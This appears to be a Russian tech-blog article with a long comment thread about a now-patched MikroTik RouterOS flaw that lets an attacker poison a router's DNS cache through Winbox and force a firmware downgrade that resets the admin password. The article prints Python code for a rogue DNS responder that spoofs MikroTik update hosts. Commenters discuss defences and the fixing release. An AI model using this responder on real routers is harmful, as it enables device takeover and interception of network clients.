Backport уязвимость в RouterOS ставит под угрозу сотни тысяч устройств



    Возможность удаленного даунгрейда устройств на базе RouterOS (Mikrotik) ставит под угрозу сотни тысяч сетевых устройств. Уязвимость связана с отравлением DNS-кеша Winbox протокола и позволяет загрузить устаревшую (со сбросом пароля «по-умолчанию») или модифицированную прошивку на устройство.



    Детали уязвимости


    Терминал RouterOS поддерживает команду разрешения для поиска DNS.

    image

    Этот запрос обрабатывается двоичным файлом с именем resolver. Resolver является одним из многих двоичных файлов, которые подключены к протоколу Winbox от RouterOS. На высоком уровне «сообщения», отправляемые на порт Winbox, могут маршрутизироваться в различные двоичные файлы в RouterOS на основе схемы нумерации на основе массива.

    По умолчанию в RouterOS отключена функция DNS-сервера.

    image

    Однако даже при отключенной функции сервера маршрутизатор поддерживает собственный кэш DNS.

    image

    Когда мы делаем запрос, используя winbox_dns_request, например, example.com, маршрутизатор будет кэшировать результат.

    image

    Поскольку мы можем указать DNS-сервер, через который должен пройти запрос, вводить неверные адреса тривиально. Например, можно настроить реализацию DNS-сервера от Филиппа Клауса, чтобы всегда отвечать записью A, содержащей IP-адрес 192.168.88.250.

    def dns_response(data):
        request = DNSRecord.parse(data)
        reply = DNSRecord(DNSHeader(
            id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
        qname = request.q.qname
        qn = str(qname)
        reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
        print("---- Reply:\n", reply)
        return reply.pack()

    Теперь если с помощью Winbox поискать example.com то можно увидеть что DNS-кеш маршрутизатора отравлен.

    image

    Конечно, отравление example.com не очень полезно, так как маршрутизатор фактически не будет его использовать. Тем не менее, маршрутизатор нуждается в обращении к upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com и download.mikrotik.com. И благодаря еще одной ошибке есть возможность отравить их всех сразу.

    def dns_response(data):
        request = DNSRecord.parse(data)
        reply = DNSRecord(DNSHeader(
            id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
        qname = request.q.qname
        qn = str(qname)
        reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
        reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
            rdata=A("192.168.88.250")))
        reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
            rdata=A("192.168.88.250")))
        reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
            rdata=A("192.168.88.250")))
        reply.add_answer(RR("download.mikrotik.com",ttl=604800,
            rdata=A("192.168.88.250")))
        print("---- Reply:\n", reply)
        return reply.pack()

    Маршрутизатор запрашивает одно разрешение, а мы предоставляем пять обратно. Маршрутизатор неправильно кэширует все эти ответы.

    image

    Очевидно, что эта атака также полезна, если маршрутизатор действует как DNS-сервер, поскольку он позволяет атаковать клиентов маршрутизатора.

    Также эта атака позволяет проэксплуатировать более серьезную уязвимость: произвести даунгрейд или бэкпортирование версии RouterOS. Атакующий воссоздает логику сервера обновлений, включая changelog и заставляет RouterOS воспринять устаревшую (уязвимую) версию как актуальную. Опасность здесь кроется в том, что при «обновлении» версии пароль администратора сбрасывается в значение «по-умолчанию» — злоумышленник может войти в систему с пустым паролем!


    Атака вполне рабочая, несмотря на то что автор реализовывает еще несколько векторов, связанных в том числе и с встраиванием бэкдора в прошивку, но это уже избыточная техника и применение ее в нелигитимных целях противозаконно.

    Защита


    Простое отключение Winbox позволяет защититься от этих атак. Несмотря на удобство администрирования через Winbox лучше воспользоваться протоколом SSH.
    Поддержать автора
    Поделиться публикацией
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 97

      +3
      Несмотря на удобство администрирования через Winbox лучше воспользоваться протоколом SSH.

      По умолчанию правила файрвола разрешают доступ к роутеру только из локалки и запрещают из Интернета (включая порт 53). Таким образом «обновив» прошивку злодей уже не попадёт внутрь снаружи, а если сохранит правила, то и пароль админа не сбросит.
      Возможно я и ошибаюсь.
        0
        Если winbox прикрыт firewall, то до него не дойдет трафик. Если бы не так, то это был бы атас полный.
          0
          Есть еще провайдер. Не у всех есть правило, блокирующее проникновении если пров пропишет маршрут в вашу сети.
          это правило
          chain=forward action=drop connection-state=invalid,new connection-nat-state=!dstnat in-interface-list=WAN log=no log-prefix=""

          в конфах по умолчанию оно есть, но было не всегда
            –1

            Ошибаетесь. Запускаю винбокс и вижу открытые наружу микроты соседей по локалке.

              0

              Не факт, что вы можете на них войти, там есть отдельный протокол для discovery. Плюс он ещё и по l2 умеет и это тоже отдельно нужно блокировать.

                0
                Из коробки это можно только из бриджа.
                  0
                  опровергнуть не могу, нет паролей. Но и видеть я их тоже не должен, в таком случае. А микротов пара штук на 32 квартиры.
                    0
                    Ну так LumberJack вообще-то писал про правила по умолчанию, а у соседей, видимо, они уже не по умолчанию, раз видно.
                      +1
                      Возможно, обновляли со старых версий, оттуда и старая конфа. Сейчас по умолчанию конфа другая. Аналогично и MNDP.
                      Заголовок спойлера

                  –3
                  По ssh нельзя сделать авторизацию только по ключу.
                    +1
                    Можно, параметр always-allow-password-login (https://wiki.mikrotik.com/wiki/Manual:IP/SSH).
                      0
                      Я делал кажись именно так, но он все равно просил пароль если ключа нет, хоть и пароль уже не принимал. Мне не много не понравилось это поведение.
                      +2

                      Это какой-то фундаментальный закон природы? Что мне помешает так сделать?

                    +1
                    Если кому нужен winbox снаружи, то уж лучше VPN сделать и доступ к winbox только через него. Имхо, ssh не всем может заменить winbox.
                      –8
                      С трудом представляются случаи, когда мышковозенье в управлении роутером может быть лучше чем SSH. Грепать GUI нельзя, скриптинг нельзя, работать с сотнями устройств через какой-нибудь ansible или на крайняк pssh нельзя. Да есть какой-то костыль The Dude, но он ни с чем кроме микроты не работает, а хочется универсальности. Да и вообще протокол проприетарный и что там у него внутри непонятно. И уже не первый раз его рекомендуют отключать из-за проблем с безопасностью. Ну и нафиг он нужен такой несовместимый и непонятный. К томуже Winbox это всего лишь враппер над ssh по сути.
                        +4
                        Лучше мышкой или хуже — дело субъективное, зависящее от задачи, регулярности работы с устройствами (не всем нужно работать с сотнями, скриптить и т.п.). Это дело привычки и времени. Можно отключить, а можно ограничить доступ, вы же не браузер из winbox запускаете, здесь нет таких угроз, как при пользовании IE с контроллера домена Windows ;)
                          –7
                          То что у вас нет навыков работы с консолью, совершенно не значит что вы сможете повторить все это мышкой, даже имея дофига времени и «опыта». Кому-то пешком ходить привычнее. Но добраться до места быстрее всего на машине/метро. И как бы вы ни были «привычны» и «опытны» к хождению пешком, эффективнее чем на машине у вас не получится.

                          Насчет субъективности. Функциональность вполне объективна. И ее можно и нужно сравнивать. Я вам привел пункты по которым winbox мягко говоря всасывает. Жду от вас описания преимуществ winbox по сравнению с cli.

                          По угрозам — ограничение доступа не обсуждается, это must have, но дыры в протоколе это не закроет.
                          В IT вообще нечего делать без навыков работы с консолью.
                            +3
                            Что касается меня, да, мне в Winbox удобнее, я настраиваю не так часто микротики. И чаще хвосты подметаю, winbox нагляднее. Хотя «export file» просто прекрасен и часто выручает, когда все-в-одном-файле. И в Windows удобнее графический интерфейс. А в Linux серверах мне графика не нужна, но я не говорю никому, что графика — отстой.
                              –1
                              Конкретно по микротику: гуйня разнесенная по сотням разных разделов, вкладок, селекторов, выпадашек и кнопочек, по определению не может быть нагляднее чем полотно конфига /exp t. Который к тому-же упорядочен по разделам.
                              Про Windows и графический интерфейс вы расскажите создателям PowerShell, которые настолько устали от мышковозенья на своих серверах, что начали делать свою замену bash, чтобы выполнять нужные настройки единственным нажатием запуска скрипта.
                              +2
                              Иногда нужно перейти в соседний подъезд или дом, в пределах квартала. Можно конечно и через метро, но пешком удобнее. Так и с winbox. Настроить весь зоопарк удобнее через ssh, а выполнить какую-нибудь редкую команду — winbox.
                              Опять же не все сидят на linux и/или постоянно настраивают 100500 микротиков. Иногда люди работают (и даже не работают, а играют!) на windows, а на роутере настраивают только пароль для wifi. В этом случае winbox и даже web гораздо удобнее.
                                –2
                                То что работает для 100500 микротиков прекрасно работает и для одного. Редкая команда отлично выполняется через ssh. Причем, даже в разы быстрее чем через WinBox, если настроить авторизацию по ключам (а это best practices) ибо никакие логины пароли вводить не нужно. Вопрос всегда в развитии. Развиваясь, каждый ищет способ сэкономить самый ценный ресурс — время, даже на выполнение рутинной или даже редкой работы. Тут важно насколько человек ленив/туп, чтобы освоить что-то новое, малопонятно, пугающее сложностью.
                                  +4
                                  Все таки, winbox намного быстрее, чем консоль. И удобнее. И проще.
                                    +1

                                    Во многом wb нагляднее и быстрее, согласен. Но некоторые действия, к примеру, управление 1000+ вланами, бриджами и интерфейсами туннелей даются винбоксу крайне тормозно. Для таких случаев всегда открываю терминал.

                                      0
                                      У меня пока нет столько вланов))
                                      –1
                                      вряд ли
                                      +1
                                      Если Вы уже освоили управление 100500 микротиков — да.

                                      Но что делать, если их у Вас <10 штук и больше ни когда еще не было? Вот прям серьезно нужно осваивать все примудрости тиковской консоли? Виндузятнику нужно осваивать работу с ssh?

                                      Это в linux rsa генерируется за 5 секунд, а в windows это несколько не удобно! И да, копировать ключ в mikrotik одинаково не удобно, как из linux, так и из windows!

                                      Но Вы так и не ответили: к соседу по лестничной площадке на бэхе поедете? Ведь это удобнее, чем пешком ходить!
                                        0
                                        Виндузятнику нужно осваивать работу с ssh?

                                        Не нужно, но крайне рекомендовано. Но Согласен, когда у тебя 1000 VLAN у одного клиента, может и надо скриптами и SSH. А когда у тебя 100 клиентов? И каждый со своими настройками? Да еще и каждый из имеет 3-4 Mikrotik из разных линеек?
                                          0
                                          Все проблемы данного диалога в том, что люди не умеют слушать других.
                                          Вам говорят: у меня, например, менее 10 устройств, мне удобно.
                                          А вы в ответ: рассмотрим, например, случай, где 100 клиентов и у каждого 3-4 микротика… это не может быть удобно!

                                          Ну в самом деле!
                                            0
                                            Согласен. Только вы не прочитали мой коммент до конца, и за меня додумали.
                                            это не может быть удобно!
                                            Я как раз за то, чтобы пользоваться Winbox.
                                              0
                                              Блин, казалось бы — древовидные комментарии. А всё равно непонятно кто с кем спорит.

                                              В целом это не «я за вас додумал», это я взял человека выше, взял его аргумент, спустился на комментарий ниже, прочитал ваши контраргументы и сделал вывод. То есть взять и эмпирически догадаться, что вы контраргументируете, при этом придерживаясь той же точки зрения, что и изначальный комментатор — нетривиальная задача.
                                                0
                                                Впредь постараюсь выражаться ясней. Думал фразы «согласен с 1. А когда 2?» достаточно чтобы понять.
                                                  0
                                                  Может я совсем слепой, но я вот вообще не вижу конструкции «согласен с 1». Я вижу только «и для одного сложного клиента подходит 2, а уж если клиентов много...»
                                          0
                                          Человеку, который возомнил себя админом и собирается админить что-то большее чем 1 хост, нужно освоить консоль и средства автоматизации или валить из профессии, пока ссаными тряпками не закидали. Ибо консольный интерфейс и SSH в частности это железобетонный стандарт работающий еще с доGIU времен. И навык с ним должен быть иначе стыдно и приходиться придумывать глупости по GUI как «нашевсё». И ваше счастье что в микротике есть gui, и то не дай вам бох попадется коммутатор/роутер других известных и более крутых фирм, в которых голая консоль и ничего больше.

                                          Насчет соседа: в моей аналогии, если до всех объектов включая соседа, другой конец города, другие города, есть удобная, качественная и прямая трасса ведущая прямо от дивана до места назначения, то естественно быстрее добраться на транспорте (SSH). А в вашей логике раз вам до соседа удобно дойти пешком (WinBox), то значит это вообще самый удобный способ перемещения, раз вы не осилили сдать на права или купить билет на сапсан.

                                          SSH это инструмент вообще никак не коррелирующий с использованием ОС. Для всех ОС есть соответствующие клиенты ssh, которые неплохо было бы изучить.
                                          Вот прям серьезно нужно осваивать все примудрости тиковской консоли?
                                          Там нет прЕмудростей. Все команды автодополняются по табу (одиночному Карл, даже не двойному как в линуксах), или вообще включаете режим автодополнения (Ctrl+V) и RouterOS сама будет за вас дополнять команды и параметры. Есть ? — выдающий справку по всему. Или ещё круче — сокращения, которые не ребуют полные названия команд, например:
                                          /sy p up ch

                                          вместо
                                          /system package update check-for-updates
                                          


                                          Я повторюсь, на низком уровне, WinBox это враппер над ssh. При нажатии на соответствующие кнопки мышкой он по сути исполняет те же ssh команды. Вы попробуйте. Изучить что-то новое это всегда полезно.

                                          Это в linux rsa генерируется за 5 секунд, а в windows это несколько не удобно!
                                          Вранье. puttygen. Пара кликов вашей любимой мышкой и ключик готов. Время генерации зависит от длины ключа.

                                          копировать ключ в mikrotik одинаково не удобно, как из linux, так и из windows!
                                          Опять вранье. pscp ./file mikrotik:. Или WinSCP для вашей любимой мышки.

                                          Вообще не редкость наблюдать как адепты мифа о GUI как о якобы быстрой и удобной штуке, догло, муторно и с повторами водят мышкой в поисках нужно опции и не находят ее. В то время как с консоли тоже самое выполняется в разы быстрее за счет автодополнения табом и сокращений.
                                            +1
                                            собирается админить что-то большее чем 1 хост
                                            А если он не возомнил себя админом? Если это одноразовое действие? У нас 90% оборудования настраивается 1, максимум 2 раза! Или для настройки интернета дома или в не_сетевом магазине нужно обязательно админа-сетевика нанимать?
                                            Насчет соседа: в моей аналогии
                                            Повторюсь! По лестничной клетке! До него по ней идти 4 шага! А Вы опять меняете среду, под инструмент.
                                            Для всех ОС есть соответствующие клиенты ssh, которые неплохо было бы изучить.
                                            Для всех видов транспорта есть соответствующие права, которые неплохо было бы получить,… но зачем?
                                            которые не Требуют полные названия команд, например:
                                            А еще можно писать прямо в машинных кодах, и исполняется быстрее, и места меньше занимает… Только вот совершенно не читаемо. В отрыве от контекста вот это вот "/sy p up ch" — полная абракадабра!
                                            Вранье. puttygen. Пара кликов вашей любимой мышкой и ключик готов.
                                            В linux мне достаточно ввести:
                                            ssh-keygen

                                            , а в windows для начала нужно этот самый putty скачать, да еще и чтобы вместе с ним всякие допы прилетели, а не только сам голый putty. А потом еще «долго, муторно и с повторами водить мышкой в поисках нужной опции»…
                                            Опять вранье. pscp ./file mikrotik:
                                            Или
                                            ssh-copy-id username@linux_IP

                                            последнее, как мне кажется проще. Ну и скопированый на тик ключ нужно еще в учетку импортировать. Хотя и согласен, что по сертификату в ssh ходить правильнее и удобнее.
                                            адепты мифа о GUI как о якобы быстрой и удобной штуке, догло, муторно и с повторами водят мышкой в поисках нужно опции
                                            Они долго ищут мышкой не потому что GUI не удобный, а потому что не знают что искать! Отсутсвие знаний интерфейсом не исправишь!
                                            Хотя могут быть исключения: в 2012-м (сейчас не знаю, не пользуюсь) в тиковский hotspot (непосредственно в сам генератор паролей) можно было попасть только через web или через ssh, но ни как не через winbox.

                                            Вообще это чистокровный holyWar. Он не имеет вообще ни какого отношения к удобству, а лишь к принадлежности к адептам TUI/GUI. При этом разработчики routerOS поддерживают оба инструмента, за что им огромное спасибо.
                                              –1
                                              Повторюсь! По лестничной клетке! До него по ней идти 4 шага! А Вы опять меняете среду, под инструмент.
                                              Вы сами извратили мою аналогию, введя расстояние и делая на нём акцент. Хорошо, вот вам другая. Что быстрее телепорт из вашей квартире в квартиру соседа и любую точку мира, или — 4 шага до своей двери, выход на лестничную клетку, звонок соседу, вход в его квартиру? Так то.

                                              Для всех видов транспорта есть соответствующие права, которые неплохо было бы получить,… но зачем?
                                              Вам уже даны универсальные права на все виды транспорта включая телепорт, но вы продолжаете ходить везде пешком тратя время.

                                              А еще можно писать прямо в машинных кодах, и исполняется быстрее, и места меньше занимает
                                              Демагогический прием под названием «ложная альтернатива». Утрирование до крайности. Используется когда аргументов не осталось.

                                              В linux мне достаточно ввести… да еще и чтобы вместе с ним всякие допы прилетели, а не только сам голый putty
                                              Сначала вы утверждаете что вам мышкой всё проще а потом сами же начинаете топить за консоль. Определитесь.

                                                +1
                                                Вам уже даны универсальные права на все виды
                                                Как владелец водительского удостоверения на катер и авто скажу Вам следущее: это совсем не универсальные права. Аналогично и ssh — в mikrotik и в linux (я уже молчу про windows) они совсем разные. Да, утилита одна (на катере тоже руль), но вот шел за ssh совсем разный (одни габаритные огни чего стоят).
                                                Утрирование до крайности. Используется когда аргументов не осталось.
                                                Что быстрее телепорт из вашей квартире в квартиру соседа и любую точку мира, или — 4 шага до своей двери,
                                                Вот только у меня дома нет телепорта. Гипотетически конечно я когда-нибудь, может быть его поставлю, но сейчас у меня его нет. И места под него нет. И желания особого ставить его нет. И денег на его покупку тоже нет. А до двери 4 шага. Думаете стоит заморачиваться с телепортом или прямо сейчас сходить за солью к соседу?
                                                а потом сами же начинаете топить за консоль. Определитесь.
                                                Зачем? В linux проще работать в shell, в windows GUI. Сотню mikrotik проще настроить скриптом через ssh, а домашний уж извините я настраиваю через winbox. Разные ситуации — разные инструменты. Я, как мне кажется, уже перерос тот возраст, когда ты людей делишь на своих и чужих (яблочники/андройдофилы/олды, линуксойды/виндузятники/яблочники/etc, интел/амд/извращенцы...), а инструменты на «те, которые знаю и неправильные».
                                              +1
                                              Человеку, который возомнил себя админом и собирается админить что-то большее чем 1 хост, нужно освоить консоль и средства автоматизации или валить из профессии, пока ссаными тряпками не закидали. Ибо консольный интерфейс и SSH в частности это железобетонный стандарт работающий еще с доGIU времен.

                                              Тому, кто админит что-то, нужны инструменты для работы с этим что-то. Если в хозяйстве 2-10 микротиков, к которым обращаются 1-2 раза в 6 месяцев, то зачем тратить свое время на то, чтобы привыкать к консоли? Консоль/терминал/winbox (не важно) — это инструмент. Надо выполнять поставленные задачи. Как-то давно мне пришлось настраивать Catalyst, 2950 вроде, давно уже. Ну да, там консоль, ну да, изучил команды, настроил и через пол-года зыбал команды, потому как разово работал с оборудованием. Был бы gui, не копался бы терминале.
                                                –1
                                                Как я уже писал выше, если у вас более чем 1 устройство и вы продолжаете делать однотипные действия ручками на каждом, да еще и мышкой, то вы уже убиваете свое время.

                                                Консоль/терминал/winbox (не важно) — это инструмент.
                                                У каждого инструмента есть показатель эффективности. Главные параметры эффективности — время выполнения и функциональность. WinBox проигрывает по обеим пунктам.

                                                Соглашусь, что каждый как хочет так и др… т, но я лучше освобожу время и уйду пораньше с работы за счет более эффективных методов работы.
                                                0
                                                Испытываю острое желание прочитать статью о микротах от гуру TUI.
                                                Сам-то я водитель маршрутки и не разу не админ, но уж больно хорошо вы себя рекламируете, молодой пчеловек — захотелось поставить домой 120 микротов цепочкой и настраивать их каждое утро.
                                                Научите, поделитесь мудростью адепта железобетонного стандарта Эпохи ДоГуёвья, молю!
                                                  0
                                                  вы упускаете ключевой момент — с некоторых пор микротик выпускает оборудование и для дома тоже. и вот как раз домашним пользователям совсем не с руки использовать ssh.
                                                  тем более, свои тонкости там имеются. Насколько я помню, там не работают команды ls, cd, top итд.
                                                  и домашнему пользователю все-таки проще потратить 15-20 минут, настроив все один раз через гуй, чем потратить несколько часов на изучение микротивского терминала, только ради того, чтобы забыть это через два дня, т.к. роутер уже настроен и применять знания негде.
                                                    0
                                                    Я повторюсь, на низком уровне, WinBox это враппер над ssh. При нажатии на соответствующие кнопки мышкой он по сути исполняет те же ssh команды. Вы попробуйте. Изучить что-то новое это всегда полезно.

                                                    Кстати, здорово бы было, если бы при исполнении команды в Winbox, она где-либо дублировалась в терминальном варианте, как будто ее из сессии ssh выполнили. Было бы супер полезно.
                                                      –1
                                                      Всё в ваших руках. Пишете фичреквест в микротик.
                                                      0
                                                      водят мышкой в поисках нужно опции
                                                      тоже самое выполняется в разы быстрее за счет автодополнения табом и сокращений
                                                      Вы только забываете уточнить, что всё выполняется в разы быстрее в том и только том случае, когда человек знает наизусть все возможные варианты используемых команд и всю древовидную структуру настроек. Иначе все эти удобные сокращения и работа с клавиатурой в пять-шесь нажатий превращаются в постоянное табание, чтобы просмотреть правильно ли вводится команда, чтобы уточнить какие командлеты разрешены после уже введённого, что можно использовать как переменную, а что нельзя, вводится вообще значение или нет, есть ли опечатка в вводимом слове или нет и вот это вот всё.

                                                      А так, мышкой кликнул, увидел все возможные опции, запрещённое\недостающее автоматически подсветилось красненьким, изменённое синеньким, ок\отмена.
                                          +1
                                          А можно настроить Port knocking
                                            0
                                            Я кроме Port knocking еще список разрешенных ip держу, которые резолвятся из ddns имен. У меня получается как бы приватная сеть доступа к маршрутизаторам, и все имеют ddns имена (я не использую статические ip как правило). И можно находясь за любым из этих маршрутизаторов подключать winbox к любому другому.
                                            Но, если удаленная машина за NAT провайдера, то разрешенный ip — будет целым ip nat провайдера со множеством других клиентов. Но меня такой уровень надежности устраивает, т.к. у меня за nat только 1 маршрутизатор.
                                              0
                                              В смысле вы добавляете ddns микротиков в allow-list друг друга и свободно между ними гуляете в пределах сети под микротиком? Интересная задумка. Не думал, что так можно.
                                                0
                                                Да, именно так. В пределах allow-list правила firewall-а довольно мягкие, в том числе для облегчения межроутерных vpn и ip туннелей. Вне списка правила строгие с минимальными возможностями доступа.
                                          0
                                          Но бывают трудные случаи. Недавно заказчик настоял на открытии winbox наружу, хотя я до последнего упирался. Сейчас и pptp много где используется. Хорошо хоть провы этот траф часто блочат и народ порой вынужден соглашаться на ipsec или ovpn :)
                                            0
                                            L2TP/IPsec же.
                                            Достаточно легко настраивается на самом Микротике. Особенно если не вдаваться в настройки шифрования и использовать дефолтные, то вообще элементарно.
                                            Со стороны клиента есть поддержка из коробки в Windows, Android, iOS, Mac OS — точно. Кажется есть (но это не точно) в Chrome OS. Вот насчёт Линукса не знаю (не специалист). В Ubuntu кажется надо что-то руками доставить.
                                            PPTP давно признан не надёжным в и той же iOS выпилен уже несколько лет назад.
                                            А открывать что-то наружу без VPN это такое себе я считаю.
                                              0

                                              Ovpn тоже блочат только в путь, считая его udp пакеты торрентами

                                                0
                                                В микротике он tcp, о udp уже не мечтаем, и давно.
                                                  +2

                                                  В 7 udp добавили.

                                                    +2
                                                    Дорогой мой человек! В который раз убеждаюсь, что в комментариях на хабре пользы часто больше, чем в статье! Хоть и бета еще 7-ка, но beta != null.
                                                      0
                                                      Уже 7 есть?! Ну наконец-то, разродились! Пусть бета, но круто же!
                                                +4
                                                Всё что нужно знать о защите от этой уязвимости это то, что вчера вышла ROS 6.45.7 где среди прочего:
                                                !) package — accept only packages with original filenames (CVE-2019-3976);
                                                !) package — improved package signature verification (CVE-2019-3977);
                                                !) security — fixed improper handling of DNS responses (CVE-2019-3978, CVE-2019-3979);

                                                PS И да, открыл напрямую WinBox наружу — жди что тебя поимеют.
                                                PPS При этом конечно надо понимать, что и внутренняя сеть не всегда 100% доверенная.
                                                  +1
                                                  … жди что тебя поимеют..

                                                  тысячи устройств «изнасилованных» более года назад, продолжают «радовать» публичными проксями (socks4 на порту 4145)
                                                  +1
                                                  Переводить переменные в питоне на русские — сильно!
                                                    0
                                                    My bad, fixed :)
                                                      +2
                                                      Ни номеров CVE, ни информации о том, что уязвимость закрыта, ни нормального совета по защите.
                                                      И я уже молчу, что на КДПВ изображён роутер TP-Link.
                                                        +2
                                                        CVE-2019-3978, CVE-2019-3979 как я понял, в 6.45.7 закрыли
                                                          +1
                                                          Там целая комбинация из 4-х уязвимостей. Отравление кеша и обход проверки подписи пакетов (либо вообще её там не было — проверки).
                                                          См. мой вчерашний комент.
                                                    0
                                                    "!) security — fixed improper handling of DNS responses (CVE-2019-3978, CVE-2019-3979);"
                                                    Уже исправлено.
                                                    А шуму-то, шуму… Хайп — наше всё? :-)
                                                      0
                                                      А каким образом происходит отравление DNS-кэша?
                                                        0

                                                        Делается запрос имени у подставного сервера, потом поддельный ответ кэшируется на роутере.

                                                          0
                                                          Где это запрос делается? На сторонней машине или в консоле mikrotik?
                                                          Я так понимаю это только при отключеной опции remote requests происходит.
                                                            0
                                                            Запрос делается на самом роутере через открытый порт WinBox без аутентификации, опция Allow remote requests ни на что не влияет.
                                                              0
                                                              Не совсем понял. Это выполняется часть api протокола связи между ПК и Winbox, в этом месте не требующая аутентификации? Вот winbox_dns_request — это что вообще такое?
                                                              Потому что в тексте приводится resolve в консоле микротика под учеткой admin. Но если вы уже admin, нафиг все остальное?
                                                                +1
                                                                Как я понял — winbox_dns_request какая-то штука, которая позволяла резолвнуть домен указав при этом DNS-сервер через который резолвить. И именно извне (а не с консоли устройства) через порт винбокса и не проходя авторизацию. И даже при выключенных внешних DNS запросах.
                                                                Как это работает хорошо видно на видео.
                                                                Номера CVE известны. Если нужны подробности можно почитать описание.
                                                                0

                                                                Т.е. если у меня в конфиге сервисов на винбокс повешены трастед нетворкс, то мне такое не грозит?

                                                                  0
                                                                  Лучше это всё же делать файрволом, а не через available from в сервисах.
                                                                  И даже если у нас WinBox не торчит наружу, то надо понимать, что внутренняя сеть тоже не всегда доверенная. А в более общем смысле у нас может вообще не быть «внешних» и «внутренних» сетей. Поэтому уповать на какую-то доверенность не стоит.
                                                                  А вообще набор уязвимостей, используемый в этой атаке, уже закрыт в последней прошивке. Всегда обновляйтесь и будем вам счастье. Загрузчик кстати тоже не забывайте обновлять при этом.
                                                                    0
                                                                    так и есть — стоит ссr-1036 и по сути там нет внутренней и внешней сети, да и во внутренней «кулибиных» хватает. А почему лучше фаерволом, а не в сервисах?
                                                                      0
                                                                      Я вот прям железные аргументы не приведу. Вообще про это говорили на обучении, а вот чем мотивировали как-то подзабыл.
                                                                      Но от себя могу сказать так:
                                                                      Во-первых так советует сам MikroTik («As usual, we recommend to protect your router administration interface with VPN and firewall.»).
                                                                      Во-вторых иметь всю конфигурацию в одном месте (т.е. в файрволе) это банально удобнее. Так файрвол открыл и всё перед глазами. А если в сервисах ограничение настроил, то скажем про это можно банально забыть. И если потом что-то поменяется, то может получится неприятный сюрприз.
                                                                      В-третьих firewall filter банально раньше по traffic flow. Зачем нам не нужный трафик пускать дальше по цепочке аж до локальных процессов?
                                                                        0
                                                                        А почему лучше фаерволом, а не в сервисах?

                                                                        Например, недавно здесь была статья, в которой упоминалось, что некоторые роутеры настроены отвечать на некоторые запросы только в "домашнююю" сеть… но для IPv6 такое ограничение для сервисов прописать забыли, и они бодро отвечают на внешнем интерфейсе. Думаю, можно придумать и иные сценарии...

                                                                        0
                                                                        С надеждами на файрволл надо быть аккуратнее, потому что он работает на L3, а winbox-mac живёт уровнем ниже. У микротика уже были моменты, когда часть вещей не блокировалась файрволлом, поскольку обрабатывалась до него (dhcp точно работал|работает так).
                                                                          0
                                                                          Это да. Но в данном случае available from address всё равно ведь на L3 работает.
                                                                        0
                                                                        Да, Trusted Networks обрывают соединение сразу же, запросы делать нельзя, поэтому обсуждаемый эксплойт не сработает.
                                                                      0
                                                                      Обычно отравление хеша не требует запроса, достаточно просто прислать ответ на запрос (даже при отсутствии запроса) и не всегда даже надо соблюсти правильный IP отправителя ответа.
                                                                      В редких случаях, когда алгоритм умеет проверять наличие запроса и соответствие характеристик при обработке ответа (реализации можно пересчитать по пальцам одной руки электрика), злоумышленникам приходится постоянно бомбить ответами в надежде что когда-нибудь произойдёт запрос и их ответ придёт раньше чем легитимный.

                                                                      Как от этого уберечься?
                                                                      Использовать (где это возможно) TCP транспорт для DNS запросов идущих по публичным и прочим не доверенным сетям. UDP при этом просто запрещать на уровне МСЭ.

                                                                      Сейчас модно делать всякие DoH и DoT, они тоже от этого защищают, но там угрозы иного типа: вы полностью отдаёте паттерн своего поведения не очень чистоплотным провайдерам (как и в случае прописывания всех 4-х восьмёрок или единиц).
                                                                  +1
                                                                  Тот самый случай когда заголовок поста об уязвимости громче самой уязвимости. Любой адекватный админ никогда не станет выставлять встроенный dns север за пределы локальной сети. И уж тем более он не станет светить винбокс. Так что вместо рекомендации перейти на ssh имхо можно было посоветовать просто дождаться исправления и обновиться…
                                                                    0
                                                                    Оо, а вот и мой шанс вернуть под своё управление «потерянный» из-за предыдущей уязвимости роутер без физического сброса до заводских установок.
                                                                    Кстати, вот подумал. В настройках микротика по-моему есть галочка, которая может не позволить его сбросить даже при физическом доступе. Бяда.
                                                                      0
                                                                      У меня было сделано давно, что уже забыл, и сейчас по случаю этой заметки (спасибо, Лука) пришлось освежить следующие моменты: для того чтобы убрать доступ по MAC-Telnet и MAC-Winbox с WAN-интерфейсов необходимо удалить (или сделать disable) соответствующие интерфейсы из списков mactel и mac-winbox — путь к команде: /interface list member. Также можно ограничить IP-префиксы с которых доступны различные сервисные службы Микротика — путь к команде: /ip service.
                                                                        0
                                                                        What's new in 6.45.7 (2019-Oct-24 08:44):

                                                                        MAJOR CHANGES IN v6.45.7:
                                                                        — !) lora — added support for LoRaWAN low-power wide-area network technology for MIPSBE, MMIPS and ARM;
                                                                        !) package — accept only packages with original filenames (CVE-2019-3976);
                                                                        !) package — improved package signature verification (CVE-2019-3977);
                                                                        !) security — fixed improper handling of DNS responses (CVE-2019-3978, CVE-2019-3979);
                                                                          0
                                                                          Я вот смотрю видосы с эксплуатацией уязвимости и не могу понять, нафига её использовать, если там все заходят под админом через винбокс?
                                                                          1. Актуальных дыр в винбоксе на текущий момент нет.
                                                                          2. Открытый доступ в винбокс в инет без минимальной фильтрации по ип и/или впн — нормальные человеки не делают.
                                                                          3. Смешно бояться что оттрекается изменение конфига, те кто делает алерты на изменения конфига всегда контролят и входы на оборудование.
                                                                          3. Галку раздавать днс без прав админа не поставить, если заходить под readonly учеткой.
                                                                          4. С клиентской тачки запросами кэш на микротике не отравить.

                                                                          Вектор атаки только один: имея доступ к вышестоящему днс серверу для уязвимого микротика — там подменять ип сервера обновлений, что типа «отравит» кэш днс и свято верить что на микротике произойдет автоапгрейд пакетов, что не делается по умолчанию.

                                                                          По факту уязвимость только в том, что не проводится корректная проверка подписи пакетов.

                                                                          Чего то многовато ЕСЛИ что бы выполнить атаку и сделать downgrade, что бы захватить доступ.

                                                                          Чего хайпим то? Или я упустил чтото?
                                                                            0
                                                                            Упустил, и много чего. Выше в коментах всё написано. Если сильно вкратце — достаточно доступа к порту WinBox, всё.
                                                                            Уязвимости уже закрыты.
                                                                            Но в одном Вы совершенно правы — слишком заморочено, что бы стать массовой проблемой. Как раз именно потому, что нужно каком-то образом инициировать обновление пакетов в нужный момент.
                                                                              0
